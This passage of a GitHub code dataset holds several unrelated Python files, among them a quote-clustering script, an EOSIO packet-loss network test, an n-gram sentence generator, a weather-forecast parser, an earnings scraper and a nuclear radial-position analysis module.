quotes2.append(inpLem)\n    for q in quotes2:\n        # issue with zero index and axis 0 occurs here\n        try:\n            encoding = model.encode(q)\n            quotes_matrix.append(encoding[0])\n        except:\n            print()\n    #   send quotes to array\n    X = np.array(quotes_matrix)\n    # call kmeans and choose best silhouette score\n    myRange = range(2, 6)\n    optNumClusters = 2\n    bestSilhouette = -1\n    for i in myRange:\n        print(\"trying range \", i)\n        kmodel = KMeans(n_clusters=i, init='k-means++', max_iter=200, n_init=100, random_state=1)\n        predict = kmodel.fit_predict(X)\n        klabels = kmodel.labels_\n        silhouette_score = metrics.silhouette_score(X, klabels, metric='euclidean')\n        if silhouette_score > bestSilhouette and silhouette_score > 0:\n            bestSilhouette = silhouette_score\n            optNumClusters = i\n    # get best number of clusters\n    kmodel = KMeans(n_clusters=optNumClusters, init='k-means++', max_iter=200, n_init=100, random_state=1)\n    predict = kmodel.fit_predict(X)\n    print('**** Silhouette Analysis ****')\n    print('Silhouette Score: ', bestSilhouette)\n    # get prediction of input\n    print(\"**** Now predictions ******\")\n    inputClust = predict[length]\n    print(\"Input prediction: \" + str(inputClust) + \" -- Input: \" + str(quotes2[length]))\n    i = 0\n    for ind, q in enumerate(quotesToPrint):\n        if predict[ind] == inputClust: print(str(predict[ind]) + \": \" + str(q))\n        i += 1\n\n# Blake's synonym finder\n# returns a list of pos tags\ndef tag(words: list) -> list:\n    tagged = pos_tag(words)\n\n    simple_tags = []\n\n    for tag in tagged:\n        word = tag[0]\n        pos = tag[1]\n\n        if pos[0] == 'V' or pos[0] == 'N' or pos[0] == 'J' and not pos == 'NNP':\n            if pos[0] == 'J':\n                simple_tags.append((word, 'a'))\n            else:\n                simple_tags.append((word, pos[0].lower()))\n        else:\n            simple_tags.append((word, 'na'))\n\n    return simple_tags\n\n# returns a list of combinations of all words and their synonyms\ndef find_combinations(cleaned_in: list, synonyms: dict) -> list:\n    combinations = []\n\n    def dfs(index: int, curr_sent: list):\n        # when past the last word\n        if index == len(cleaned_in):\n            combinations.append(list(curr_sent))\n            return\n\n        word = cleaned_in[index]\n        if word not in synonyms:\n            # add to current running string\n            curr_sent.append(word)\n            # perform dfs on next word\n            dfs(index + 1, curr_sent)\n            curr_sent.pop(len(curr_sent) - 1)\n        else:\n            for syn in synonyms[word]:\n                curr_sent.append(syn)\n                dfs(index + 1, curr_sent)\n                # pop most recently added word\n                curr_sent.pop(len(curr_sent) - 1)\n        return\n\n    # outer scope fn\n    dfs(0, [])\n    return combinations\n\n# returns a list of all possible combinations of sentence and its synonyms\ndef get_synonyms(sentence: str, words: list) -> list:\n    # perform pos tagging on words\n    tagged = tag(words)\n\n    # find synonyms of each word\n    synonyms = {}\n    for t in tagged:\n        word = t[0]\n        pos = t[1]\n        syn = lesk(sentence, word, pos)\n\n        # if there is a synset, add all synonyms to corresponding word in map\n        if syn:\n            synonym_list = []\n            for synonym in syn.lemmas():\n                syn_name = synonym.name()\n\n                # remove all '_' occurances\n                new_name = \"\"\n                for ch in syn_name:\n                    if ch == '_':\n                        new_name += ' '\n                    else:\n                        new_name += ch\n\n                synonym_list.append(new_name)\n\n            synonyms[word] = synonym_list\n\n    print('synonyms: ', synonyms)\n\n    combinations = find_combinations(words, synonyms)\n    return combinations\n\n\n\n# reads csv data file and returns list of all quotes\ndef get_quotes() -> list:\n    df = pd.read_csv('data_file.csv', encoding='cp1252')\n    return df['quote']\n\n\ndef lemmatize(words: list) -> list:\n    lemmatized = []\n    punctuation = ['.', ',', '?', '!', ';', ':', '-', \"n't\", '_', '*', ')', '(', '$', '~', '`', '@', '#', '%', '^', '&',\n                   ']', '[', '{', '}']\n    stops = stopwords.words('english')\n    lemmatizer = WordNetLemmatizer()\n\n    for word in words:\n        if word not in stops and word not in punctuation:\n            lemmatized.append(lemmatizer.lemmatize(word.lower()))\n\n    return lemmatized\n\n\ndef cleanup(sentence: str) -> list:\n    # tokenize sentence\n    words = word_tokenize(sentence)\n\n    # lemmatize\n    cleaned_words = lemmatize(words)\n\n    return cleaned_words\n\n\ndef get_data(column: str) -> list:\n    df = pd.read_csv('data_file.csv', encoding='cp1252')\n\n    return df[column]\n\n\ndef cosine(u, v):\n    return np.dot(u, v) / (np.linalg.norm(u) * np.linalg.norm(v))\n\n\ndef bert(quotes: list):\n    print('Loading model...')\n\n    model = SentenceTransformer('stsb-distilbert-base')\n\n    print('Model loaded.')\n    print('Encoding database of quotes...')\n    sentence_embeddings = []\n    for i in range(200):\n        sentence_embeddings.append(model.encode(quotes[i]))\n\n    print('Encoded quotes.')\n\n    query = \"My family left me and I am sad\"\n    query_vec = model.encode([query])[0]\n    print(query_vec)\n\n\ndef bert2(quotes: list):\n    print('Loading model...')\n    model = SentenceTransformer('stsb-distilbert-base')\n    print('Model loaded.')\n    print('Encoding database of quotes...')\n    quotes_matrix = []\n    quotes2 = []\n    # HERES WHERE YOU SPECIFY THE NUMBER OF QUOTES YOU WANT TO WORK WITH\n    for i in range(140000):\n        quotes2.append(quotes[i])\n    for q in quotes2:\n        encoding = model.encode([q])\n        quotes_matrix.append(encoding[0])\n    X = np.array(quotes_matrix)\n\n    model = KMeans(n_clusters=4, init='k-means++', max_iter=200, n_init=100, random_state=1)\n    predict = model.fit_predict(X)\n    i = 0\n    for idx, quote in enumerate(quotes2):\n        if i == 1400000: break\n        print(str(predict[idx]) + \": \" + str(quote))\n        i += 1\n\n\n#\n\n\n# print similarity between input (query) and each quote in data\n# for q in quotes:\n# \tsim = cosine(query_vec, model.encode([q])[0])\n# \tprint(\"Quote = \", q, \"\\tSimilarity = \", sim)\n\ndef main():\n    print('Retrieving quotes...')\n    quotes = get_data('quote')\n    print('Retrieved quotes.')\n    model = SentenceTransformer('stsb-distilbert-base')\n\n    # store sentence encodings in array so we can load store it as pkl file\n    X = kmeans_function(quotes, model, 'I am sad today')\n    # To use:\n    # 1) create blank txt file in same folder\n    # 2) pass the file name (no extension) as 2nd param in storeData and 1st param in loadData\n    # 3) MUST USE a different file (or delete the original pkl file) whenever you want\n    # to use different sentence encodings (i.e. if you want to up the range from 1000 to 10000)\n    pklStoreData(X, 'testFile')\n    pklLoadData('testFile')\n\n    # inpt = \"I am sad today. I also happen to be deeply silly and terrified.\"\n    # cleaned_in = cleanup(inpt)\n    # combinations = get_synonyms(inpt, cleaned_in)\n    # print()\n    # for c in combinations: print(c)\n\n\nif __name__ == \"__main__\":\n    main()\n    # model = SentenceTransformer('stsb-distilbert-base')\n    # sentences = ['This framework generates embeddings for each input sentence',\n    # \t\t\t 'Sentences are passed as a list of string.',\n    # \t\t\t 'The quick brown fox jumps over the lazy dog.']\n    #\n    # # Sentences are encoded by calling model.encode()\n    # embeddings = model.encode(sentences)\n    #\n    # # Print the embeddings\n    # for sentence, embedding in zip(sentences, embeddings):\n    # \tprint(\"Sentence:\", sentence)\n    # \tprint(\"Embedding:\", embedding)\n    # \tprint(\"\")\n\n# # ELBOW METHOD PLOT TO FIND BEST # OF CLUSTERS\n#     print('Elbow method...')\n#     wcss = []\n#     for i in range(1, 11):\n#         ah_model = AgglomerativeClustering(n_clusters=i)\n#         ah_model.fit(X)\n#         # kmeans = KMeans(n_clusters=i, init='k-means++', max_iter=300, n_init=10, random_state=0)\n#         # kmeans.fit(X)\n#         wcss.append(kmeans.inertia_)\n#     plt.plot(range(1, 11), wcss)\n#     plt.title('Elbow Method')\n#     plt.xlabel('Number of clusters')\n#     plt.ylabel('WCSS')\n#     plt.show()\n","repo_name":"bpicchi/Gen-Q","sub_path":"new_main_v3.py","file_name":"new_main_v3.py","file_ext":"py","file_size_in_byte":13790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"14796355045","text":"import testUtils\nimport p2p_test_peers\nimport random\n\nRemoteCmd = p2p_test_peers.P2PTestPeers\n\nclass LossyNetwork:\n    cmd=\"tc qdisc add dev {dev} root netem loss\"\n    args=[\"0%\", \"1%\", \"10%\", \"50%\", \"90%\", \"99%\"]\n\n    resetcmd=\"tc qdisc del dev {dev} root\"\n\n    def maxIndex(self):\n        return len(self.args)\n\n    def execute(self, cmdInd, node, testerAccount, eosio):\n        print(\"\\n==== lossy network test: set loss ratio to %s ====\" % (self.args[cmdInd]))\n        RemoteCmd.exec(self.cmd + \" \" + self.args[cmdInd])\n        s=\"\"\n        for i in range(12):\n            s=s+random.choice(\"abcdefghijklmnopqrstuvwxyz12345\")\n        testerAccount.name = s\n        transIdlist = []\n        print(\"==== creating account %s ====\" % (s))\n        trans = node.createAccount(testerAccount, eosio, stakedDeposit=0, waitForTransBlock=True)\n        if trans is None:\n            return ([], \"\", 0.0, \"failed to create account\")\n        transIdlist.append(node.getTransId(trans))\n        return (transIdlist, \"\", 0.0, \"\")\n    \n    def on_exit(self):\n        RemoteCmd.exec(self.resetcmd)\n","repo_name":"EOSIO/eos","sub_path":"tests/lossy_network.py","file_name":"lossy_network.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","stars":11300,"dataset":"github-code","pt":"77"}
+{"seq_id":"72281408568","text":"# Program to calculate a factorial using the accumulator pattern.\n\ndef find_factorial(n: int) -> int:\n    # Accumulator variable\n    fact: int = 1 # Initial value is the identity element for multiplication\n\n    # Loop\n    for i in range(1, n+1): # int\n        # Accumulate the answer into the accumulator variable\n        fact = fact * i\n    return fact\n\ndef main(args: list[str]) -> int:\n    print('This program calculates a factorial.')\n    # Read the number\n    n: int = int(input('Please enter a positive integer: '))\n    print(str(n) + '! =', end=' ')\n\n    print(find_factorial(n))\n    return 0 # Conventional return value for completing successfully\n\nif __name__ == '__main__':\n    import sys\n    main(sys.argv)","repo_name":"phbrownacmorg/csc201ja23demo","sub_path":"factorial.py","file_name":"factorial.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"2758059041","text":"import logging\nimport urllib.request\nimport xml.etree.ElementTree as ElementTree\nfrom pandas import DataFrame, to_datetime\nimport datetime\nfrom config.config import Config\n\nWEATHER_URL = \"http://metwdb-openaccess.ichec.ie/metno-wdb2ts/locationforecast?lat=%s;long=%s\" % \\\n              (Config.LATITUDE, Config.LONGITUDE)\n\n_LOGGER = logging.getLogger(__name__)\n\n\nclass WeatherForecast:\n\n    def __init__(self):\n        self.weather_data_frame = None\n        return\n\n    def get_radiation_for_date_total(self, date):\n        daily_weather_data = self.weather_data_frame.resample('H').ffill().resample('D').sum().iterrows()\n        radiation = self._extract_radiation_for_date_total(daily_weather_data, date)\n        return int(round(radiation))\n\n    def get_radiation_for_today_total(self):\n        return self.get_radiation_for_date_total(datetime.date.today())\n\n    def get_radiation_for_date_hourly(self, date):\n        hourly_weather_data = self.weather_data_frame.resample('H').ffill().iterrows()\n        radiation_list = self._extact_hourly_radiation_for_date(hourly_weather_data, date)\n        self._ensure_full_day(radiation_list)\n        return radiation_list\n\n    def get_radiation_for_today_hourly(self):\n        return self.get_radiation_for_date_hourly(datetime.date.today())\n\n    def load_weather_data(self):\n        response = urllib.request.urlopen(WEATHER_URL)\n        data = response.read()\n        tree = ElementTree.fromstring(data)\n        parent_map = {c: p for p in tree.iter() for c in p}\n        result_dict = {}\n        for n in tree.iter('globalRadiation'):\n            result_dict[parent_map[parent_map[n]].attrib['from']] = n.attrib['value']\n        self.weather_data_frame = DataFrame.from_dict(result_dict, orient='index')\n        self.weather_data_frame.index = self.weather_data_frame.index.map(to_datetime)\n        self.weather_data_frame.columns = ['globalRadiation']\n        self.weather_data_frame['globalRadiation'] = self.weather_data_frame.globalRadiation.astype('float')\n        # _LOGGER.debug(self.weather_data_frame.resample('H').ffill().resample('D').sum())\n        # _LOGGER.debug(self.weather_data_frame[self.weather_data_frame['globalRadiation'] != 0][:12])\n        return\n\n    @staticmethod\n    def _ensure_full_day(radiation_list):\n        # when you get data for TODAY, it will only be from this hoiur onweards, so pad the previous hours\n        first_hour = radiation_list[0][0]\n        # _LOGGER.debug(radiation_list)\n        if first_hour != 0:\n            for i in range(first_hour, 0, -1):\n                radiation_list.insert(0, [i-1, 0])\n        # _LOGGER.debug(radiation_list)\n\n    @staticmethod\n    def _extact_hourly_radiation_for_date(hourly_weather_data, date_to_get):\n        hourly_radiation = []\n        for index, row in hourly_weather_data:\n            radiation = int(round(row['globalRadiation']))\n            radiation_date = index.to_pydatetime().date()\n            radiation_hour = index.to_pydatetime().time().hour\n            if radiation_date == date_to_get:\n                hourly_radiation.append([radiation_hour, radiation])\n\n        return hourly_radiation\n\n    @staticmethod\n    def _extract_radiation_for_date_total(daily_weather_data, date_to_get):\n        for index, row in daily_weather_data:\n            radiation = row['globalRadiation']\n            radiation_date = index.to_pydatetime().date()\n            if radiation_date == date_to_get:\n                return radiation\n","repo_name":"connesha/home-energy-mgr-ext-main","sub_path":"utils/weather_forecast.py","file_name":"weather_forecast.py","file_ext":"py","file_size_in_byte":3462,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"}
+{"seq_id":"38186410763","text":"import pytest\nfrom commandment.dep.dep import DEP\n\n\n@pytest.mark.depsim\nclass TestDEP:\n    def test_account(self, dep: DEP):\n        dep.fetch_token()\n        account = dep.account()\n        assert account is not None\n\n    def test_fetch_devices(self, dep: DEP):\n        dep.fetch_token()\n        devices = dep.fetch_devices()\n        assert len(devices) == 500\n        \n    # def test_device_details(self, dep: DEP):\n    #     dep.fetch_token()\n    #     device_details = dep.device_detail()\n\n    def test_fetch_cursor(self, dep: DEP):\n        dep.fetch_token()\n        for page in dep.devices():\n            print(len(page))\n            for d in page:\n                print(d)\n\n","repo_name":"cmdmnt/commandment","sub_path":"tests/dep/test_dep.py","file_name":"test_dep.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":277,"dataset":"github-code","pt":"77"}
+{"seq_id":"14339843211","text":"a = input('Digite uma lista de números separados por vírgula: ')\na = a.split(',')\na = [int(i) for i in a]\n\ndupla = []\nunique = []\nfor i in a:\n    if i in unique:\n        dupla.append(i)\n    else:\n        unique.append(i)\n\n\nprint('Os números que aparecem mais de uma vez na lista original são:', dupla)","repo_name":"Rasanhii/listadeexercicios","sub_path":"ex16.py","file_name":"ex16.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"42190744763","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\"\"\" Programming Assignment 2: Team 3 - Rafeef Baamer, Ashish Hingle, Rina Lidder, & Andy Nguyen\n\n Description: This program takes input from multiple text files and generates a given number of randomized sentences.\n The program  is run by calling 'ngram.py' and will learn an N-gram language model based on the submitted plain text files. \n \n The program can be called from a command line based on the submitted plain text files, the number of desired n-grams (n)\n and desired sentences (m). For example, the command \"ngram.py 3 10 3435-0.txt pg10662.txt pg4836.txt\" can\n be used to run the program.\n \n  Resources used for this lab come from the materials provided in the AIT 590 course materials.\n - Lecture powerpoints (AIT 590)\n - Stanford University Prof. Dan Jurafsky's Video Lectures (https://www.youtube.com/watch?v=zQ6gzQ5YZ8o)\n - Joe James Python: NLTK video series (https://www.youtube.com/watch?v=RYgqWufzbA8)\n - w3schools Python Reference (https://www.w3schools.com/python/)\n - regular expressions 101 (https://regex101.com/)\n - Timer examples understood from: https://stackoverflow.com/questions/15528939/python-3-timed-input\n - How to use command line: geeksforgeeks.org/how-to-use-sys-argv-in-python/\n - How to use command line: https://stackoverflow.com/questions/4188467/how-to-check-if-an-argument-from-commandline-has-been-set\n - Overall process guidance: https://stackabuse.com/python-for-nlp-developing-an-automatic-text-filler-using-n-grams/\n - Text files used: The Book of the Thousand Nights and a Night (http://www.gutenberg.org/files/3435/3435-0.txt)\n   - THE RISE OF THE DUTCH REPUBLIC (http://www.gutenberg.org/cache/epub/4836/pg4836.txt)\n   - THE NIGHT LAND (http://www.gutenberg.org/cache/epub/10662/pg10662.txt)\n   - The Moonstone (http://www.gutenberg.org/files/155/155-0.txt)\n \n\"\"\"\n\n#import libraries\nimport nltk\nfrom nltk.tokenize import sent_tokenize, word_tokenize\nimport random\nimport re\nimport sys\nimport os\nimport time\nfrom string import punctuation\n\n#stores the current time of the request from user as the 'start time'\nstart_time = time.time()\n\n#Interprets the number of arguments a user is passing in the command line\narguments = len(sys.argv)\n\n#if the user is just passing the file name in the terminal it will provide the following instructions\nif arguments == 1:\n    print(\"\"\"\n    Hi, welcome to our N-gram model! This was developed by AIT590 Team 3: Rafeef Baamer, Ashish Hingle,\n      Rina Lidder, and Andy Nguyen.\n\n      To execute the n-gram model pass 'ngram.py' followed by the number of ngrams,\n      sentences, and text files you want the program to use.\n\n      To return to the instructions run 'ngram.py' again.\"\"\")\n    exit(1)   \nelif arguments in range(2,4): #if the user is forgetting to give the words/sentences for the n-grams it will provide this error message.\n    print('\\nUnable to execute without all parameters. Return to instructions')\n    exit(1)\n\n#take input from command line and save variables\ncwd = os.path.dirname(os.path.realpath(__file__))    #determine the path where the file is being run from\nfname = cwd + \"/corpus1.txt\"    #declare the corpus1 file\nwords = int(sys.argv[1])        #saves the number of ngrams desired based on the user's call\nsentences = int(sys.argv[2])    #saves the number of sentences desired based on the user's call\nmin_length = 10                 #minimum number of words in a sentence\nfilenames = []                  #variable that will store the input files\n\n#initilaize the first words and ngrams dictionaries\nfirst_words = {}\nngrams = {}\n\n#this function generates a dictionary of possible first words that begin a sentence\ndef generate_first_words():\n    for sent in sentToken:\n        #tokenize the individual sentence and save it in a temp list\n        holder = word_tokenize(sent)\n        #save the adjacent words to the sequence\n        seq = ' '.join(holder[i:i+words])\n\n        #If the sentence has atleast the number of ngrams requested, then this sentence can be considered\n        #for use with as a first word\n        if len(holder) > words+1:\n            #checks if the sequence is not in the first words dictionary, then add it to the dictionary\n            if  seq not in first_words.keys():\n                first_words[seq] = []\n            first_words[seq].append(holder[words])\n\n#this function generates a sentence based on the number of ngrams entered\ndef generate_sentence():\n    #variable to hold if the end point (. ? !) has been reached\n    running = True\n    \n    #generates a random ngram to begin the sentence\n    curr_sequence = random.choice(list(first_words))\n    output = curr_sequence\n    \n    #loop while the running is true. Based on the first ngram that was generated above, look for a potential next word\n    #continue until a (. ? !) have been reached, and end the loop.\n    while running == True:\n        if curr_sequence not in ngrams.keys():\n            break\n        possible_words = ngrams[curr_sequence]\n        next_word = possible_words[random.randrange(len(possible_words))]\n        output += ' ' + next_word\n        seq_words = nltk.word_tokenize(output)\n        curr_sequence = ' '.join(seq_words[len(seq_words)-words:len(seq_words)])\n\n        #when a (. ! ?) is found, change the running variable and end the while loop\n        if bool(re.search('[\\.\\?!]', next_word)) == True:\n            running = False\n    return output\n\n#format the final output\ndef formatter(str):\n    \n    #Change the final punctuation to format correctly without an extra space \n    if str[-1] == '.':\n        str = re.sub(r'(\\s\\.)', '.', str)\n    elif str[-1] == '!':\n        str = re.sub(r'(\\s\\!)', '!', str)\n    elif str[-1] == '?':\n        str = re.sub(r'(\\s\\?)', '?', str)\n    \n    #Change the first letter to a capital letter\n    str = str.capitalize()\n    \n    #Captialize i to I in the text\n    str = re.sub(r'( i )', r' I ', str)\n    \n    #regex to remove the extra space before an apostrophe\n    str = re.sub(r'\\s\\'', '\\'', str)\n\n    #regex to remove the extra space before a `\n    str = re.sub(r'\\s`', '`', str)\n    \n    #regex to remove the extra space before a comma\n    str = re.sub(r'\\s,', ',', str)\n    \n    #regex to remove commas at the beginning of a sentence\n    str = re.sub(r'^,\\s', '', str)\n    str = str[0].upper() + str[1:]      #capitalize the first word\n      \n    return str\n\n#counts the amount of words in a sentence\ndef count_words(str):\n    return len(re.findall(r'\\w+', str))\n\n#create a list of text files based on the input provided by the user's call\nfor i in range(3, len(sys.argv)):\n    filenames.append(str(cwd) + \"\\\\Text Files\\\\\" + sys.argv[i])\n\n#write all the text files into a single text file \nwith open(fname, \"w\", encoding='utf-8') as f:\n    for index, filename in enumerate(filenames):\n        f.write(nltk.corpus.gutenberg.raw(filename))\n        if index != (len(filenames) - 1):\n            f.write(\" \")\n\n#opens and readsthe single text file\nfo = open (fname, \"r\", encoding= 'utf-8')\ncorpus = fo.read()\n\n#change the contents of the text file to lowercase\ncorpus = corpus.lower()\n\n#remove any unsactioned characters from the text\ncorpus = re.sub(r'[^A-Za-z0-9.\\?!\\'`, ]', ' ', corpus)\n\n#tokenize the words and sentences\nwordToken = word_tokenize(corpus)\nsentToken = sent_tokenize(corpus)\n\n#creates a list of the first words in the sentences that can be used to generate starting positions\ngenerate_first_words()\n\n#loop through all the words in the text file, and save the contents as ngrams based on the user's call\nfor i in range(len(wordToken)-words):\n    seq = ' '.join(wordToken[i:i+words])\n    if  seq not in ngrams.keys():\n        ngrams[seq] = []\n    ngrams[seq].append(wordToken[i+words])\n\n#prints an informative welcome message\nprint('This program generates random sentences based on an Ngram model.')\nprint('AIT590 Team 3: Rafeef Baamer, Ashish Hingle, Rina Lidder, and Andy Nguyen')\nprint('Command line settings :', sys.argv[0], ', n:', words, ', m:', sentences, '\\n')\n   \n#generate the sentences based on the user's call. Checks if the sentence meets the minimum length... if not, generate a new sentence\nfor i in range(sentences):\n    output = generate_sentence()\n    while (count_words(output) < min_length):\n        output = generate_sentence()\n    \n    # formats the output before printing\n    output = formatter(output)\n    print(\"Sentence \" + str(i + 1) + \": \" + output + '\\n')  #print the formatted sentence\n\n#Stores time it took for n-gram model to process input as 'stop time'    \nstop_time = time.time()\n#subtract the two time periods to calculate the runtime of the n-gram:\nprint('Time elapsed :', round(stop_time - start_time), 'secs')","repo_name":"rina635/ngram","sub_path":"ngram.py","file_name":"ngram.py","file_ext":"py","file_size_in_byte":8670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"6386309448","text":"from bs4 import BeautifulSoup\nimport urllib.request\nimport pandas as pd\n\n\ndef dateToURL(month, day, year):\n    month=str(month)\n    day=str(day)\n    year=str(year)\n    if len(month)==1:\n        month=\"0\"+month\n    if len(day)==1:\n        day=\"0\"+day\n    return 'https://biz.yahoo.com/research/earncal/{}{}{}.html'.format(year, month, day)\n\ndef pullEarnings(month, day, year):\n    try:\n        with urllib.request.urlopen(dateToURL(month, day, year)) as page:\n            soup=BeautifulSoup(page, 'lxml')\n            # print(soup.prettify())\n            table=soup.find_all('table')[5]\n            company=[]\n            symbol=[]\n            EPS_estimate=[]\n            time=[]\n\n            for row in table.findAll('tr'):\n                cells = row.findAll('td')\n                if len(cells) >=5:  # Only extract table body not heading\n                    company.append(cells[0].find(text=True))\n                    symbol.append(cells[1].find(text=True))\n                    EPS_estimate.append(cells[2].find(text=True))\n                    time.append(cells[3].find(text=True))\n        if company[0]=='\\n' or symbol[0]=='\\n'or EPS_estimate[0]=='\\n'or time[0]=='\\n':\n            company=company[1:]\n            symbol=symbol[1:]\n            EPS_estimate=EPS_estimate[1:]\n            time=time[1:]\n        earnings=pd.DataFrame({company[0]:company[1:],symbol[0]:symbol[1:],EPS_estimate[0]:EPS_estimate[1:],time[0]:time[1:] })\n    except urllib.error.HTTPError:\n        raise Exception('No data for that date')\n    return earnings\n\nif __name__==\"__main__\":\n    print(pullEarnings(2, 10, 2017).head())","repo_name":"DBids35/PYahooEarningsCal","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"30391054446","text":"from Juego import Juego\n\nclass JuegoArchivo(Juego):\n    def __init__(self, map_path, start_pos, end_pos):\n        if not self._is_valid_position(start_pos):\n            raise ValueError(\"Invalid start position\")\n        if not self._is_valid_position(end_pos):\n            raise ValueError(\"Invalid end position\")\n\n        with open(map_path, \"r\") as map_file:\n            map_data = map_file.read()\n        map_data = map_data.strip()\n        map_rows = map_data.split(\"\\n\")\n        map_matrix = [list(row) for row in map_rows]\n        super().__init__(map_matrix, start_pos, end_pos) # type: ignore\n\n    def _is_valid_position(self, position):\n        # Check if position is within the bounds of the map\n        # Return True if valid, False otherwise\n        ...","repo_name":"Daniel-Acosta-Perez/ADA-proyecto_Integrador-Laberinto","sub_path":"JuegoArchivo.py","file_name":"JuegoArchivo.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"5921636228","text":"import pip\nimport importlib\n\nprint('------------------Translator app setup------------------')\n\nprint('Checking and installing required packeages.')\n#Installing required packages\ndef install_package(package):\n    try:\n        importlib.import_module(package)\n        print('Package already installed', package)\n    except:\n        print(package, 'Package not found. Installing...')\n        pip.main(['install', package])\n        print('Package installed.')\n\ninstall_package('configparser')\ninstall_package('logger')\ninstall_package('yaml')\n\nimport configparser\nfrom configparser import ConfigParser\n\n#User input for configuration info\n\nprint('Now we need details about your app')\nkey = input('Enter DEEPL API key: ')\nlocation = input('Please enterthe location of four database, for example /database/translator.db: ')\n#Config creation\nconfig = configparser.ConfigParser()\n\nconfig['api'] = {'api_key': key}\n\nconfig['database'] = {'database_location': location}\nwith open('config.ini', 'w') as configfile:\n    config.write(configfile)\n\nprint('-----------------------------------------------')\nprint('Config file created')\nprint('Setup cpmplete!')\nprint('-----------------------------------------------')","repo_name":"Richijzz/Konstruktors-translator","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"32750138721","text":"\"\"\"\nradial.py\n\nA collection of functions mainly related to manipulating and analyzing the radial\npositions of IGS reads in single cells.\n\n\"\"\"\n\nimport warnings\nimport numpy as np\nimport source.const as const\nimport matplotlib.pyplot as plt\nfrom scipy.spatial import ConvexHull\nfrom mpl_toolkits.mplot3d.art3d import Poly3DCollection, Line3DCollection\n\n\ndef get_hull(cell, dim=3, genome='hg38'):\n    \"\"\"\n    Construct a convex hull of a cell in n-d space.\n    \n    Params:\n    -------\n        cell: target cell, dataframe\n        dims: number of dimensions for hull\n        genome: target genome, for constants\n    \n    Returns:\n    --------\n        hull: scipy convex hull object\n    \"\"\"\n    \n    \n    #Init genome-specific dataframe keys\n    KEYS = const.get_genome_keys(genome)\n    \n    #Get spatial position vectors for the clusters\n    R = []\n    for i in range(dim):\n        R.append(cell[KEYS['dim'][i]].values)\n    R = np.array(R).T\n    \n    hull = ConvexHull(R)\n    \n    return hull\n\ndef get_hull_center(hull, dim=3):\n    \"\"\"\n    Find the center of a hull's bounding box.\n\n    Params:\n    -------\n        hull: scipy convhull object\n        dim: number of dimensions for hull\n    \n    Returns:\n    --------\n        center: bounding box center\n    \"\"\"\n    center = np.zeros(dim)\n    \n    for i in range(dim):\n        R_i = hull.points[hull.vertices,i]\n        center[i] = (np.max(R_i) + np.min(R_i))/2\n        \n    return center\n\ndef center_cell(cell, origin, dim=3, genome='hg38'):\n    \"\"\"\n    Translate cell to a new origin.\n    \n    Params:\n    -------\n        cell: target cell, dataframe\n        origin: spatial coordinates\n        dim: dimensions for translation\n        genome: target genome to retrieve constants\n    \n    Returns:\n    --------\n        cell: translated cell\n    \"\"\"\n\n    KEYS = const.get_genome_keys(genome)\n    \n    for index, row in cell.iterrows():\n        for i in range(dim):\n            cell.at[index, KEYS['dim'][i]] = row[KEYS['dim'][i]] - origin[i]\n    \n    return cell\n\n\ndef get_r_rel(hull, R):\n    \"\"\"\n    Find the relative radial distance of a point relative to the nuclear center\n    and periphery. Do this by solving the equation of the plane for the vector \n    defined by the point and all facets of the convex defined by the cell. The\n    solution which yields the minimum scaling constant \n\n    \n    Params:\n    -------\n        hull: scipy convex hull of cell\n        R: position of the target point\n    \n    Returns:\n    --------\n        r: the relative radial position of the point\n        vv: the point on the facet\n    \"\"\"\n    \n    minC = 1000000 #minimize this\n    for (i, e) in enumerate(hull.equations):\n        e = e.T\n        V,d=e[:-1],e[-1] #plane normal, offset\n        if np.dot(V,R) != 0:\n\n            #For scaled point R = C(x1,y1,z1) to be on V = ax + by + cz = - d, \n            #we need s(a*x1 + b*y1 + c*zy1) = - d or s = -d/(V dot R). Minimum\n            #C over all candiate planes is smallest scaling factor to get R\n            #into a plane.\n            \n            C = (- d)/np.dot(V,R) #\n            if 0 < C and C < minC:\n                minC, best_e = C, e\n\n    C = minC\n    vv = R*C\n    r = np.linalg.norm(R)/np.linalg.norm(vv) #point / point projected into plane\n    \n    if C == 1000000:\n        return -1\n    else:\n        return(r)\n\n\ndef bootstrap(data, n=5000, func=np.nanmean):\n    \"\"\"\n    Generate `n` bootstrap samples, evaluating `func`\n    at each resampling. `bootstrap` returns a function,\n    which can be called to obtain confidence intervals\n    of interest.\n    #citation: http://www.jtrive.com/the-empirical-bootstrap-for-confidence-intervals-in-python.html\n    \"\"\"\n    simulations = list()\n    sample_size = len(data)\n    with warnings.catch_warnings(): #catch nanmean runtimewanring\n        warnings.simplefilter(\"ignore\", category=RuntimeWarning)\n        xbar_init = np.nanmean(data)\n    for c in range(n):\n        itersample = np.random.choice(data, size=sample_size, replace=True)\n        with warnings.catch_warnings():\n            warnings.simplefilter(\"ignore\", category=RuntimeWarning)\n            simulations.append(func(itersample))\n    simulations.sort()\n\n    def ci(p):\n        \"\"\"\n        Return 2-sided symmetric confidence interval specified\n        by p.\n        \"\"\"\n        u_pval = (1+p)/2.\n        l_pval = (1-u_pval)\n        l_indx = int(np.floor(n*l_pval))\n        u_indx = int(np.floor(n*u_pval))\n        \n        return(simulations[l_indx],simulations[u_indx])\n    return(ci)\n\ndef get_radial_dists(cells,\n                     genome='hg38'):\n    \"\"\"\n    Get the radial positions of all reads, indexed by chromosome.\n    \n    Params:\n    -------\n        cells: a list of the single cells, dataframe\n        genome: target genome, to 